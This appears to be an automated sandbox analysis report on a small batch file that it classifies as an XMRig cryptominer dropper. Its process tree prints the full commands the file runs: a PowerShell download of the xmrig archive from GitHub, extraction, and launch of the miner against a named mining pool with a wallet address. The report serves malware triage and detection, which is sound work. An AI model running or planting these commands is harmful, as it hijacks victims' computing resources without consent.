Analysis

  • max time kernel
    0s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2023, 10:03

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 5 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
        PID:5000
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        2⤵
          PID:4504

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        2f57fde6b33e89a63cf0dfdd6e60a351

        SHA1

        445bf1b07223a04f8a159581a3d37d630273010f

        SHA256

        3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

        SHA512

        42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        0f6a3762a04bbb03336fb66a040afb97

        SHA1

        0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

        SHA256

        36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

        SHA512

        cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nh512bf.cxv.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

        Filesize

        69KB

        MD5

        57f90a622bb63609c4c3f02b3222d3c6

        SHA1

        760769091cd316ad69b370d8455ff1e154b8b990

        SHA256

        5498ee9c77a8aba529d810c05ac6384143fc7dedac2f7996baa81b7696726d17

        SHA512

        89f80d79a8255d92c73a5c9ed69ae1adbef037816def579f8ee5d9c01536b692f1efbfcef8a1962695ef1f5a0b5e0697117f7381ab8d4de997b5630b218ed81a

      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

        Filesize

        57KB

        MD5

        38fad4d6b82dc5f0aacc21112cf845d2

        SHA1

        ec1962e0afccd642cd6a274674bc3a9dfc85c6b7

        SHA256

        4154220ad8fd2382078e65e8e3abe0ecaf3bf0e93422dedd1c7e4dd91bfaca2b

        SHA512

        142a6a91959c656b0e6384d7fbe9d6b7330f958e5b6777c8c5c0d3397483c67ccde505ee65dcff7e3a97b7e27acfc20225e011c409a33df5cf3822b75874fe84

      • memory/1716-16-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

        Filesize

        10.8MB

      • memory/1716-12-0x000001685EAC0000-0x000001685EAD0000-memory.dmp

        Filesize

        64KB

      • memory/1716-11-0x000001685EAC0000-0x000001685EAD0000-memory.dmp

        Filesize

        64KB

      • memory/1716-10-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

        Filesize

        10.8MB

      • memory/1716-9-0x000001685ED40000-0x000001685ED62000-memory.dmp

        Filesize

        136KB

      • memory/4504-69-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-71-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-78-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-77-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-76-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-75-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-59-0x0000018C51F20000-0x0000018C51F40000-memory.dmp

        Filesize

        128KB

      • memory/4504-74-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-60-0x0000018C51F90000-0x0000018C51FB0000-memory.dmp

        Filesize

        128KB

      • memory/4504-61-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-63-0x0000018CE6220000-0x0000018CE6240000-memory.dmp

        Filesize

        128KB

      • memory/4504-62-0x0000018CE6200000-0x0000018CE6220000-memory.dmp

        Filesize

        128KB

      • memory/4504-64-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-65-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-66-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-68-0x0000018CE6220000-0x0000018CE6240000-memory.dmp

        Filesize

        128KB

      • memory/4504-67-0x0000018CE6200000-0x0000018CE6220000-memory.dmp

        Filesize

        128KB

      • memory/4504-73-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-70-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/4504-72-0x00007FF668160000-0x00007FF668C63000-memory.dmp

        Filesize

        11.0MB

      • memory/5000-31-0x000001E1C5B40000-0x000001E1C5B50000-memory.dmp

        Filesize

        64KB

      • memory/5000-30-0x000001E1C5B40000-0x000001E1C5B50000-memory.dmp

        Filesize

        64KB

      • memory/5000-29-0x000001E1C5B40000-0x000001E1C5B50000-memory.dmp

        Filesize

        64KB

      • memory/5000-56-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

        Filesize

        10.8MB

      • memory/5000-32-0x000001E1C5FE0000-0x000001E1C5FF2000-memory.dmp

        Filesize

        72KB

      • memory/5000-33-0x000001E1C5FD0000-0x000001E1C5FDA000-memory.dmp

        Filesize

        40KB

      • memory/5000-27-0x00007FFB48510000-0x00007FFB48FD1000-memory.dmp

        Filesize

        10.8MB